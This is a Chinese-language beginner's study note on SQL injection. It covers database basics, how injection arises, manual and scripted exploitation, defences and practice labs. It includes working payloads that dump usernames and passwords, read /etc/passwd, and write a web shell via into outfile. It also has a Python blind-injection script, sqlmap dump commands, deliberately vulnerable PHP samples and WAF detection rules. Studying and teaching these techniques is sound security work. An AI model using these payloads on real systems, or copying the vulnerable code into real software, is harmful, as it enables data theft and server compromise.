SQL注入新手入门学习笔记
目录
数据库基础知识
SQL注入产生原理
影响SQL注入的主要因素
常见SQL注入的利用过程
黑盒/白盒发现SQL注入
实战案例分析
防护措施
工具推荐
数据库基础知识
1. 数据库基本概念
数据库名:存储数据的逻辑容器
表名:数据库中的数据表
列名:表中的字段
数据:表中存储的具体信息
2. 自带数据库及用户权限
MySQL
系统数据库:
:存储数据库元信息
information_schema
:存储用户账户和权限信息
mysql
:性能监控数据
performance_schema
:系统视图和函数
sys
默认用户:
:超级管理员
root
:系统用户
mysql.sys
SQL Server
系统数据库:
:系统配置信息
master
:新数据库模板
model
:SQL Server代理信息
msdb
:临时数据
tempdb
默认用户:
:系统管理员
sa
:数据库所有者
dbo
Oracle
系统表空间:
:数据字典
SYSTEM
:辅助表空间
SYSAUX
:用户数据
USERS
默认用户:
:超级用户
SYS
:系统管理员
SYSTEM
3. 数据库敏感函数及默认端口
数据库 | 默认端口 | 敏感函数 | 应用场景 |
---|---|---|---|
MySQL | 3306 | , ,
|
文件读写、命令执行 |
SQL Server | 1433 | , ,
|
命令执行、文件操作 |
Oracle | 1521 | ,
|
文件操作、Java执行 |
PostgreSQL | 5432 | ,
|
文件读写 |
SQLite | – |
|
扩展加载 |
4. 数据库基础表重点内容
4.1 表结构基础概念
主键(Primary Key):唯一标识表中每一行的字段
外键(Foreign Key):建立表间关系的字段
索引(Index):提高查询性能的数据结构
约束(Constraint):保证数据完整性的规则
4.2 重要系统表详解
MySQL系统表
-- information_schema.tables:所有表信息
SELECT table_schema, table_name, table_type
FROM information_schema.tables
WHERE table_schema = 'database_name';
-- information_schema.columns:所有列信息
SELECT column_name, data_type, is_nullable
FROM information_schema.columns
WHERE table_name = 'users';
-- information_schema.schemata:所有数据库信息
SELECT schema_name FROM information_schema.schemata;
-- mysql.user:用户权限信息
SELECT user, host, authentication_string FROM mysql.user;
SQL Server系统表
-- sys.tables:用户表信息
SELECT name, object_id, create_date FROM sys.tables;
-- sys.columns:列信息
SELECT name, system_type_id, max_length
FROM sys.columns WHERE object_id = OBJECT_ID('users');
-- sys.databases:数据库信息
SELECT name, database_id, create_date FROM sys.databases;
-- sys.server_principals:服务器主体
SELECT name, type_desc, create_date FROM sys.server_principals;
Oracle系统表
-- user_tables:用户表信息
SELECT table_name, tablespace_name, num_rows FROM user_tables;
-- user_tab_columns:列信息
SELECT column_name, data_type, nullable
FROM user_tab_columns WHERE table_name = 'USERS';
-- dba_users:用户信息
SELECT username, account_status, created FROM dba_users;
-- v$version:版本信息
SELECT banner FROM v$version;
4.3 常见表设计模式
用户表设计
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL,
email VARCHAR(100) UNIQUE,
role ENUM('admin', 'user', 'guest') DEFAULT 'user',
status TINYINT DEFAULT 1,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);
权限表设计
-- 角色表
CREATE TABLE roles (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) UNIQUE NOT NULL,
description TEXT
);
-- 权限表
CREATE TABLE permissions (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) UNIQUE NOT NULL,
resource VARCHAR(50) NOT NULL,
action VARCHAR(20) NOT NULL
);
-- 角色权限关联表
CREATE TABLE role_permissions (
role_id INT,
permission_id INT,
PRIMARY KEY (role_id, permission_id),
FOREIGN KEY (role_id) REFERENCES roles(id),
FOREIGN KEY (permission_id) REFERENCES permissions(id)
);
日志表设计
CREATE TABLE access_logs (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
user_id INT,
ip_address VARCHAR(45),
user_agent TEXT,
request_method VARCHAR(10),
request_uri TEXT,
response_code INT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
INDEX idx_user_id (user_id),
INDEX idx_created_at (created_at)
);
4.4 表关系类型
一对一关系(1:1)
-- 用户基本信息表
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL
);
-- 用户详细信息表
CREATE TABLE user_profiles (
user_id INT PRIMARY KEY,
full_name VARCHAR(100),
phone VARCHAR(20),
address TEXT,
FOREIGN KEY (user_id) REFERENCES users(id)
);
一对多关系(1:N)
-- 分类表
CREATE TABLE categories (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) NOT NULL
);
-- 文章表
CREATE TABLE articles (
id INT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(200) NOT NULL,
content TEXT,
category_id INT,
FOREIGN KEY (category_id) REFERENCES categories(id)
);
多对多关系(M:N)
-- 学生表
CREATE TABLE students (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) NOT NULL
);
-- 课程表
CREATE TABLE courses (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(100) NOT NULL
);
-- 学生课程关联表
CREATE TABLE student_courses (
student_id INT,
course_id INT,
grade DECIMAL(3,1),
PRIMARY KEY (student_id, course_id),
FOREIGN KEY (student_id) REFERENCES students(id),
FOREIGN KEY (course_id) REFERENCES courses(id)
);
4.5 索引设计原则
索引类型
-- 主键索引(自动创建)
ALTER TABLE users ADD PRIMARY KEY (id);
-- 唯一索引
CREATE UNIQUE INDEX idx_username ON users(username);
-- 普通索引
CREATE INDEX idx_email ON users(email);
-- 复合索引
CREATE INDEX idx_status_created ON users(status, created_at);
-- 全文索引(MySQL)
CREATE FULLTEXT INDEX idx_content ON articles(title, content);
索引优化建议
选择性高的列:优先为选择性高的列创建索引
查询频繁的列:为经常出现在WHERE子句中的列创建索引
排序列:为ORDER BY子句中的列创建索引
连接列:为JOIN操作中的列创建索引
4.6 数据类型选择
数值类型
-- 整数类型
TINYINT -- 1字节,-128到127
SMALLINT -- 2字节,-32768到32767
MEDIUMINT -- 3字节,-8388608到8388607
INT -- 4字节,-2147483648到2147483647
BIGINT -- 8字节,更大范围
-- 浮点类型
FLOAT -- 4字节单精度
DOUBLE -- 8字节双精度
DECIMAL -- 精确数值类型
字符串类型
-- 定长字符串
CHAR(n) -- 固定长度,最大255字符
-- 变长字符串
VARCHAR(n) -- 可变长度,最大65535字符
TEXT -- 大文本,最大65535字符
MEDIUMTEXT -- 中等文本,最大16777215字符
LONGTEXT -- 长文本,最大4294967295字符
日期时间类型
DATE -- 日期:YYYY-MM-DD
TIME -- 时间:HH:MM:SS
DATETIME -- 日期时间:YYYY-MM-DD HH:MM:SS
TIMESTAMP -- 时间戳,自动更新
YEAR -- 年份:YYYY
5. 数据库查询方法(CRUD操作)
-- 增加(Create)
INSERT INTO users (username, password) VALUES ('admin', '123456');
-- 查询(Read)
SELECT * FROM users WHERE id = 1;
-- 修改(Update)
UPDATE users SET password = 'newpass' WHERE id = 1;
-- 删除(Delete)
DELETE FROM users WHERE id = 1;
SQL注入产生原理
核心原理
代码中执行的SQL语句存在可控变量导致
示例代码(存在漏洞)
<?php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
?>
攻击过程
正常请求:
http://example.com/user.php?id=1
恶意请求:
http://example.com/user.php?id=1 OR 1=1
实际执行的SQL:
SELECT * FROM users WHERE id = 1 OR 1=1
结果:返回所有用户数据
影响SQL注入的主要因素
1. 数据库类型(权限操作)
MySQL:支持联合查询、文件读写
SQL Server:支持堆叠查询、存储过程
Oracle:复杂的权限体系、PL/SQL
PostgreSQL:支持自定义函数、扩展
2. 数据操作方法(增删改查)
SELECT:信息泄露
INSERT:数据插入攻击
UPDATE:数据篡改
DELETE:数据删除
3. 参数数据类型(符号干扰)
数字型:
id = 1
字符型:
name = 'admin'
搜索型:
name LIKE '%admin%'
4. 参数数据格式(加密编码等)
Base64编码
URL编码
十六进制编码
Unicode编码
5. 提交数据方式(数据包部分)
GET请求:URL参数
POST请求:表单数据
Cookie:会话数据
HTTP头:User-Agent、Referer等
6. 有无数据处理(无回显逻辑等)
有回显:Union注入、报错注入
无回显:布尔盲注、时间盲注
常见SQL注入的利用过程
1. 判断数据库类型
方法一:特有函数
-- MySQL
and version()>0
and user()>0
-- SQL Server
and @@version>0
and db_name()>0
-- Oracle
and (select banner from v$version where rownum=1)>0
-- PostgreSQL
and version()>0
方法二:特有语法
-- MySQL
and 1=1#
-- SQL Server
and 1=1--
-- Oracle
and 1=1--
-- PostgreSQL
and 1=1--
2. 判断参数类型及格式
数字型测试
id=1 and 1=1 -- 正常
id=1 and 1=2 -- 异常
字符型测试
name=admin' and '1'='1 -- 正常
name=admin' and '1'='2 -- 异常
3. 判断数据格式及提交
编码测试
-- URL编码
id=1%20and%201=1
-- 十六进制
id=0x31206and20313d31
-- Base64
id=MSBhbmQgMT0x
4. 判断数据回显及防护
有回显测试
-- Union注入
id=1 union select 1,2,3
-- 报错注入
id=1 and extractvalue(1,concat(0x7e,version(),0x7e))
无回显测试
-- 布尔盲注
id=1 and length(database())>5
-- 时间盲注
id=1 and if(length(database())>5,sleep(5),1)
5. 获取数据库名,表名,列名
MySQL信息收集
-- 获取数据库名
union select 1,database(),3
-- 获取表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
-- 获取列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
6. 获取对应数据及尝试其他利用
数据获取
-- 获取用户数据
union select 1,group_concat(username,0x3a,password),3 from users
-- 文件读取
union select 1,load_file('/etc/passwd'),3
-- 文件写入
union select 1,2,3 into outfile '/var/www/html/shell.php'
黑盒/白盒发现SQL注入
黑盒测试方法
1. 盲对所有参数进行测试
URL参数:
?id=1'
POST数据:
username=admin'&password=123
Cookie值:
PHPSESSID=abc123'
HTTP头:
User-Agent: Mozilla' and 1=1
2. 整合功能点脑补进行测试
登录页面:用户名、密码字段
搜索功能:搜索关键词
用户资料:个人信息修改
商品展示:商品ID、分类ID
白盒测试方法
代码审计要点
查找数据库查询语句
检查用户输入处理
分析参数过滤机制
验证预编译语句使用
危险函数识别
// PHP危险函数
mysql_query()
mysqli_query()
PDO::query()
// Java危险方法
Statement.executeQuery()
Statement.executeUpdate()
// .NET危险方法
SqlCommand.ExecuteReader()
SqlCommand.ExecuteNonQuery()
实战案例分析
案例1:经典Union注入
漏洞页面
<?php
$id = $_GET['id'];
$sql = "SELECT id,title,content FROM news WHERE id = $id";
$result = mysql_query($sql);
?>
攻击步骤
判断注入点:
报错
id=1'
判断字段数:
正常,
id=1 order by 3
报错
id=1 order by 4
确定回显位:
id=-1 union select 1,2,3
获取数据库信息:
id=-1 union select 1,database(),version()
获取表名:
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
获取数据:
id=-1 union select 1,group_concat(username,0x3a,password),3 from admin
案例2:布尔盲注
漏洞页面
<?php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
if(mysql_num_rows($result) > 0) {
echo "User exists";
} else {
echo "User not found";
}
?>
攻击脚本
import requests
import string
url = "http://example.com/user.php"
database_name = ""
# 获取数据库名长度
for i in range(1, 20):
payload = f"1 and length(database())={i}"
response = requests.get(url, params={'id': payload})
if "User exists" in response.text:
db_length = i
break
# 获取数据库名
for i in range(1, db_length + 1):
for char in string.ascii_lowercase + string.digits + '_':
payload = f"1 and substr(database(),{i},1)='{char}'"
response = requests.get(url, params={'id': payload})
if "User exists" in response.text:
database_name += char
break
print(f"Database name: {database_name}")
案例3:时间盲注
攻击载荷
-- 判断数据库名第一个字符
id=1 and if(substr(database(),1,1)='a',sleep(5),1)
-- 判断表是否存在
id=1 and if((select count(*) from information_schema.tables where table_schema=database() and table_name='admin')>0,sleep(5),1)
-- 获取管理员密码
id=1 and if(substr((select password from admin limit 1),1,1)='a',sleep(5),1)
防护措施
1. 预编译语句(推荐)
PHP PDO示例
<?php
$pdo = new PDO($dsn, $username, $password);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND name = ?");
$stmt->execute([$id, $name]);
$result = $stmt->fetchAll();
?>
Java PreparedStatement示例
String sql = "SELECT * FROM users WHERE id = ? AND name = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, id);
pstmt.setString(2, name);
ResultSet rs = pstmt.executeQuery();
2. 输入验证和过滤
白名单验证
<?php
function validateId($id) {
if (!is_numeric($id) || $id <= 0) {
return false;
}
return true;
}
function validateName($name) {
if (!preg_match('/^[a-zA-Z0-9_]+$/', $name)) {
return false;
}
return true;
}
?>
特殊字符转义
<?php
$name = mysql_real_escape_string($_POST['name']);
$sql = "SELECT * FROM users WHERE name = '$name'";
?>
3. 最小权限原则
数据库用户权限配置
-- 创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
-- 只授予必要权限
GRANT SELECT, INSERT, UPDATE ON webapp.* TO 'webapp'@'localhost';
-- 禁止文件操作权限
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
4. WAF(Web应用防火墙)
规则示例
# 检测SQL注入关键词
SecRule ARGS "@detectSQLi"
"id:1001,
phase:2,
block,
msg:'SQL Injection Attack Detected',
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
# 检测Union注入
SecRule ARGS "@rx (?i)union.*select"
"id:1002,
phase:2,
block,
msg:'Union SQL Injection Detected'"
工具推荐
自动化扫描工具
1. SQLMap
# 基本用法
sqlmap -u "http://example.com/user.php?id=1"
# 指定数据库类型
sqlmap -u "http://example.com/user.php?id=1" --dbms=mysql
# POST请求测试
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"
# Cookie注入测试
sqlmap -u "http://example.com/user.php" --cookie="PHPSESSID=abc123" --level=2
# 获取数据库信息
sqlmap -u "http://example.com/user.php?id=1" --dbs
sqlmap -u "http://example.com/user.php?id=1" -D database_name --tables
sqlmap -u "http://example.com/user.php?id=1" -D database_name -T table_name --columns
sqlmap -u "http://example.com/user.php?id=1" -D database_name -T table_name -C username,password --dump
2. Burp Suite
Intruder模块:批量测试参数
Repeater模块:手工测试和验证
Scanner模块:自动漏洞扫描
3. OWASP ZAP
开源Web应用安全扫描器
支持主动和被动扫描
提供丰富的插件扩展
手工测试工具
1. 浏览器插件
HackBar:快速构造测试载荷
Tamper Data:修改HTTP请求
Live HTTP Headers:查看HTTP头信息
2. 命令行工具
# curl测试
curl "http://example.com/user.php?id=1'"
# wget测试
wget "http://example.com/user.php?id=1 union select 1,2,3"
学习建议
1. 理论学习路径
数据库基础:SQL语法、数据库架构
Web开发基础:HTTP协议、服务器端编程
安全基础:OWASP Top 10、Web安全原理
SQL注入原理:注入类型、利用方法
2. 实践环境搭建
推荐靶场
DVWA:Damn Vulnerable Web Application
SQLi-Labs:专门的SQL注入练习平台
WebGoat:OWASP官方教学平台
Pikachu:国产Web安全靶场
环境搭建
# 使用Docker快速搭建
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
# 访问靶场
http://localhost
# 默认账号:admin/password
3. 进阶学习方向
代码审计:静态代码分析、漏洞挖掘
数据库安全:权限管理、加密存储
Web安全防护:WAF规则编写、安全架构设计
渗透测试:综合安全评估、红蓝对抗
总结
SQL注入作为Web安全中的经典漏洞,至今仍然是攻击者常用的手段之一。通过系统学习SQL注入的原理、类型、利用方法和防护措施,可以帮助开发者和安全人员更好地理解和防范这类安全威胁。
关键要点:
预防为主:使用预编译语句是最有效的防护方法
深度防御:结合输入验证、权限控制、WAF等多层防护
持续学习:跟进新的注入技术和防护方法
实践验证:在安全环境中练习和验证理论知识
记住:安全是一个持续的过程,而不是一次性的结果。